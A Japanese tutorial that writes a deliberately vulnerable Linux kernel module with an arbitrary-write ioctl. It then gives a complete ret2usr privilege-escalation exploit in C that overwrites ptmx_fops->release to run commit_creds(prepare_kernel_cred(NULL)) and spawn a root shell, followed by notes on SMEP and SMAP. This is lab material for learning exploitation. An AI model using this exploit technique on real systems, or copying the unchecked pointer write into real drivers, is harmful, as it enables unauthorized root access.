Linuxカーネルモジュールでret2usrによる権限昇格をやってみる

Linuxカーネルモジュールにおける任意アドレス書き換え(Arbitrary address write)の脆弱性を利用し、ret2usr(Return-to-user)と呼ばれる手法によるroot権限への権限昇格をやってみる。

環境

Ubuntu 14.04.1 LTS 64bit版、Intel SMEP無効

$ uname -a
Linux vm-ubuntu64 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

$ gcc --version
gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2

$ cat /proc/cpuinfo | grep flags
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx rdtscp lm constant_tsc rep_good nopl pni monitor ssse3 lahf_lm

Intel SMEPが有効かどうかは、/proc/cpuinfoのflagsにsmepがあるかないかで確認できる。

脆弱性のあるカーネルモジュールを書いてみる

任意アドレス書き換え(Arbitrary address write)は、不正な配列インデックスによる範囲外参照を用いた既存のポインタアドレスの書き換えやFormat string atatckなどにより、任意のアドレスにある値を書き換えることを指す。

ここでは、話を簡単にするために意図的に任意アドレス書き換えを可能にしたカーネルモジュールを作成することにする。 「無条件で権限昇格するLinuxカーネルモジュールを書いてみる」と同じようにして、プログラムコードを書くと次のようになる。

/* mychardev.c */
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/fs.h>

#include "mychardev.h"
#define DEVICE_NAME "mychardev"

static int device_open(struct inode *inode, struct file *file)
{
    try_module_get(THIS_MODULE);
    return 0;
}

static int device_release(struct inode *inode, struct file *file)
{
    module_put(THIS_MODULE);
    return 0;
}

static ssize_t device_read(struct file *filp, char *buffer, size_t length, loff_t *offset)
{
    return -EINVAL;
}

static ssize_t device_write(struct file *filp, const char *buffer, size_t length, loff_t * offset)
{
    return -EINVAL;
}

long device_ioctl(struct file *file, unsigned int ioctl_num, unsigned long ioctl_param)
{
    struct ioctl_aaw_arg *arg;

    switch (ioctl_num) {
    case IOCTL_AAW:
        arg = (struct ioctl_aaw_arg *)ioctl_param;
        *(arg->ptr) = arg->value;
        return 0;
    }

    return -EINVAL;
}

static struct file_operations fops = {
    .open = device_open,
    .release = device_release,
    .read = device_read,
    .write = device_write,
    .unlocked_ioctl = device_ioctl,
};

int init_module(void)
{
    int ret_val;
    ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &fops);
    if (ret_val < 0) {
        printk(KERN_ALERT "Registering char device failed with %d\n", ret_val);
        return ret_val;
    }
    printk(KERN_INFO "try 'sudo mknod %s c %d 0'\n", DEVICE_FILE_NAME, MAJOR_NUM);
    return 0;
}

void cleanup_module(void)
{
    unregister_chrdev(MAJOR_NUM, DEVICE_NAME);
}
/* mychardev.h */
#ifndef MYCHARDEV_H
#define MYCHARDEV_H

#include <linux/ioctl.h>

#define MAJOR_NUM 200
#define DEVICE_FILE_NAME "mychardev"
#define IOCTL_AAW _IOR(MAJOR_NUM, 0, struct ioctl_aaw_arg *)

struct ioctl_aaw_arg {
    unsigned long *ptr;
    unsigned long value;
};

#endif
# Makefile
obj-m += mychardev.o

all:
[TAB]make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
[TAB]make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

上のコードでは、ioctl(2)でIOCTL_AAWを呼ぶと、引数に与えたioctl_aaw_arg構造体で指定したアドレスを指定した値に書き換える。

カーネルモジュールをコンパイル、インストールし、インストールされていることを確認してみる。

$ make
make -C /lib/modules/3.13.0-44-generic/build M=/home/user/tmp/mychardev modules
make[1]: Entering directory `/usr/src/linux-headers-3.13.0-44-generic'
  CC [M]  /home/user/tmp/mychardev/mychardev.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/user/tmp/mychardev/mychardev.mod.o
  LD [M]  /home/user/tmp/mychardev/mychardev.ko
make[1]: Leaving directory `/usr/src/linux-headers-3.13.0-44-generic'

$ sudo insmod mychardev.ko

$ lsmod
Module                  Size  Used by
mychardev              12640  0

上の結果から、コンパイルに成功しインストールできていることがわかる。

次に、コード中で出力するようにしておいたカーネルメッセージに従い、キャラクタデバイスを作成する。

$ dmesg | tail
[   16.032412] IPv6: ADDRCONF(NETDEV_UP): docker0: link is not ready
[   16.071709] nf_conntrack version 0.5.0 (3919 buckets, 15676 max)
[   16.544252] audit_printk_skb: 66 callbacks suppressed
[   16.544255] type=1400 audit(1426919178.397:34): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="docker-default" pid=1489 comm="apparmor_parser"
[   24.507117] cgroup: systemd-logind (1046) created nested cgroup for controller "memory" which has incomplete hierarchy support. Nested cgroups may change behavior in the future.
[   24.507126] cgroup: "memory" requires setting use_hierarchy to 1 on the root.
[   36.972584] mychardev: module license 'unspecified' taints kernel.
[   36.972590] Disabling lock debugging due to kernel taint
[   36.972622] mychardev: module verification failed: signature and/or  required key missing - tainting kernel
[   36.974743] try 'sudo mknod mychardev c 200 0'

$ sudo mknod mychardev c 200 0

$ ls -l mychardev
crw-r--r-- 1 root root 200, 0 Mar 21 15:26 mychardev

カーネルシンボルのアドレスを確認してみる

「無条件で権限昇格するLinuxカーネルモジュールを書いてみる」ではカーネルモジュール内にてcommit_creds(prepare_kernel_cred(NULL))を実行したが、ユーザモードのプログラム内でこれを行う場合、事前に二つの関数(シンボル)のアドレスを調べておく必要がある。 カーネル空間におけるシンボル情報は/proc/kallsymsからすべて見ることができるようになっているが、最近のLinuxカーネルではKernel Address Display Restrictionと呼ばれるセキュリティ機構が有効になっており、アドレスがすべて0で隠されるようになっている。

$ cat /proc/kallsyms | grep _cred
0000000000000000 T kill_pid_info_as_cred
0000000000000000 T override_creds
0000000000000000 t put_cred_rcu
0000000000000000 T __put_cred
0000000000000000 T abort_creds
0000000000000000 T prepare_creds
0000000000000000 T revert_creds
0000000000000000 T commit_creds
0000000000000000 T exit_creds
0000000000000000 T get_task_cred
0000000000000000 T prepare_kernel_cred
0000000000000000 T prepare_exec_creds
(snip)

そこで、ここでは意図的にKernel Address Display Restrictionを無効にした上でシンボルアドレスの解決を行うこととする。 Kernel Address Display Restrictionを無効にするには、sysctlコマンドを使って次のようにする。

$ sudo sysctl -w kernel.kptr_restrict=0
kernel.kptr_restrict = 0

再度/proc/kallsymsを確認すると、シンボルのアドレスが表示されていることが確認できる。

$ cat /proc/kallsyms | grep _cred
ffffffff81079470 T kill_pid_info_as_cred
ffffffff810906d0 T override_creds
ffffffff81090710 t put_cred_rcu
ffffffff81090860 T __put_cred
ffffffff810908b0 T abort_creds
ffffffff810908e0 T prepare_creds
ffffffff81090aa0 T revert_creds
ffffffff81090ae0 T commit_creds
ffffffff81090d20 T exit_creds
ffffffff81090d90 T get_task_cred
ffffffff81090de0 T prepare_kernel_cred
ffffffff81090f70 T prepare_exec_creds
ffffffff81090fb0 T copy_creds
(snip)

エクスプロイトコードを書いてみる

ユーザモードのプログラムから権限昇格を行うには、上で調べたカーネル関数のアドレス情報をもとに権限昇格を行う関数を作成し、カーネル空間内のポインタ書き換えによりこの関数をカーネルモードで実行させればよい。 この手法は一般にret2usr(Return-to-user)と呼ばれる。

先にエクスプロイトコードを示すと、次のようになる。

/* ioctl.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>

#include "mychardev.h"

void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;
unsigned long *ptmx_fops_release;

void *ksym_addr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];

    fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0) {
            goto close;
        }
    }
    addr = NULL;
close:
    fclose(fp);
    return addr;
}

void get_root()
{
    commit_creds(prepare_kernel_cred(NULL));
    *ptmx_fops_release = 0;
}

int main()
{
    int fd;
    int ret_val;
    void *ptmx_fops;
    struct ioctl_aaw_arg arg;

    /* find the kernel addresses */
    prepare_kernel_cred = ksym_addr("prepare_kernel_cred");
    commit_creds = ksym_addr("commit_creds");
    printf("[+] prepare_kernel_cred = %p\n", prepare_kernel_cred);
    printf("[+] commit_creds = %p\n", commit_creds);
    if (!prepare_kernel_cred || !commit_creds) {
        puts("[!] failed to resolve kernel symbol address");
        exit(1);
    }

    /* find the kernel pointer to be overwritten */
    ptmx_fops = ksym_addr("ptmx_fops");
    printf("[+] ptmx_fops = %p\n", ptmx_fops);
    ptmx_fops_release = ptmx_fops + sizeof(void *) * 13;

    /* open the vulnerable device and send ioctl */
    fd = open(DEVICE_FILE_NAME, 0);
    if (fd < 0) {
        printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
        exit(1);
    }

    arg.ptr = ptmx_fops_release;
    arg.value = (unsigned long)get_root;

    ret_val = ioctl(fd, IOCTL_AAW, &arg);
    if (ret_val < 0) {
        printf("ioctl failed: %d\n", ret_val);
        exit(1);
    }

    close(fd);

    /* open /dev/ptmx and call ptmx_fops->release() via close() */
    fd = open("/dev/ptmx", 0);
    close(fd);

    printf("[+] getuid() = %d\n", getuid());
    execl("/bin/sh", "sh", NULL);
}

上のコードにおいて、ksym_addr()/proc/kallsymsから引数で指定したシンボルに対応するアドレスを返す関数、get_root()カーネルモードで実行させる関数である。

書き換えの対象とするカーネル空間のポインタとして、ここではptmx_fops->release()を利用している。 ptmx_fopsカーネル空間におけるstatic変数として存在しており、/dev/ptmxに対するfile_operations構造体を指すポインタが入っている。 file_operations構造体にはファイルディスクリプタに対してread/writeなどの操作を行ったとき実行される関数ポインタが入っており、その定義は次のようになっている。

1521 struct file_operations {
1522         struct module *owner;
1523         loff_t (*llseek) (struct file *, loff_t, int);
1524         ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
1525         ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
1526         ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
1527         ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
1528         int (*iterate) (struct file *, struct dir_context *);
1529         unsigned int (*poll) (struct file *, struct poll_table_struct *);
1530         long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
1531         long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
1532         int (*mmap) (struct file *, struct vm_area_struct *);
1533         int (*open) (struct inode *, struct file *);
1534         int (*flush) (struct file *, fl_owner_t id);
1535         int (*release) (struct inode *, struct file *);
1536         int (*fsync) (struct file *, loff_t, loff_t, int datasync);
1537         int (*aio_fsync) (struct kiocb *, int datasync);
1538         int (*fasync) (int, struct file *, int);
1539         int (*lock) (struct file *, int, struct file_lock *);
1540         ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
1541         unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
1542         int (*check_flags)(int);
1543         int (*flock) (struct file *, int, struct file_lock *);
1544         ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
1545         ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
1546         int (*setlease)(struct file *, long, struct file_lock **);
1547         long (*fallocate)(struct file *file, int mode, loff_t offset,
1548                           loff_t len);
1549         int (*show_fdinfo)(struct seq_file *m, struct file *f);
1550 };

これらの関数ポインタはカーネルモードにて参照されるため、適当なものを書き換えることで任意の関数をカーネルモードで実行させることができる。 ここでは、比較的書き換えによる影響が小さいものとして、close()が行われた際に参照されるreleaseメンバを書き換える。 また、get_root()内でこのメンバが指すアドレスを0(NULL)に再度書き換え、カーネル空間を共有する他のプロセスがクラッシュしないようにする。

以上をもとに、エクスプロイトコードの内容を説明すると次のようになる。

  1. /proc/kallsymsからprepare_kernel_cred()などカーネル内関数のアドレスを取得する
  2. /proc/kallsymsからptmx_fopsのアドレスを取得し、書き換え対象となるreleaseメンバのアドレスを計算する
  3. カーネルモジュールの脆弱性を利用し、ptmx_fops->release = &get_rootとなるように書き換える
  4. /dev/ptmxを開きclose()を呼ぶことで、カーネルモードにてptmx_fops->release()を実行させる
  5. カーネルモードにてget_root()が実行され、権限昇格が行われた後ptmx_fops->releaseがNULLに書き換えられる
  6. close()の後、root権限にてシェルを起動する

実際に実行してみると次のようになる。

$ gcc ioctl.c

$ ./a.out
[+] prepare_kernel_cred = 0xffffffff81090de0
[+] commit_creds = 0xffffffff81090ae0
[+] ptmx_fops = 0xffffffff81fc4ea0
[+] getuid() = 0
# id
uid=0(root) gid=0(root) groups=0(root)
#

root権限にてシェルが起動できていることが確認できた。

カーネルモジュールをアンインストールする

$ sudo rmmod mychardev.ko

Kernel Address Display Restrictionに関する補足

ここではKernel Address Display Restrictionを無効にしてシンボルアドレスの解決を行った。 しかし、シンボルアドレスはカーネルのバージョンごとに一定であるため、有効な場合でもカーネルのバージョンが特定できれば別途調べておいたアドレスを使うことが可能である。

また、/proc/kallsymsの他、/boot/System.map-*/boot/vmlinuz-*からもシンボルアドレスの解決を試みるプログラムコードとしてksymhunter.cがある。

Intel SMEPと回避手法

Intel SMEP(Supervisor Mode Execution Protection)は、Intel Coreプロセッサの第3世代(Ivy Bridge)以降に搭載されているセキュリティ機構であり、Intel OS Guardとも呼ばれる(参考)。 この機構の有無は/proc/cpuinfoを表示した際のflagsにsmepがあるかないかで確認でき、有効の場合はカーネルモードにおいてユーザ空間アドレスにあるコードの実行が禁止される。 すなわち、上のエクスプロイトコードにおいてはカーネルモードでユーザ空間にあるget_root()を実行しようとした際に落ちるようになる。 また、実行中はコントロールレジスタCR4の20bit目がSMEPの有効/無効を表す。

SMEPを回避する手法としては主に次の二つが知られている。

他にも、以下のような手法が公表されている。

また、関連するセキュリティ機構として、Intel Coreプロセッサの第5世代(Broadwell)に搭載されているSMAP(Supervisor Mode Access Protection)がある(参考)。 これはカーネルモードにおいてユーザ空間アドレスへのアクセスを禁止するものであり、CR4レジスタの21bit目に対応する。

なお、Linuxのセキュリティ強化パッチであるPaXでは、SMAP相当の機能がUserland/kernel separation(UDEREF)として実装されている。

関連リンク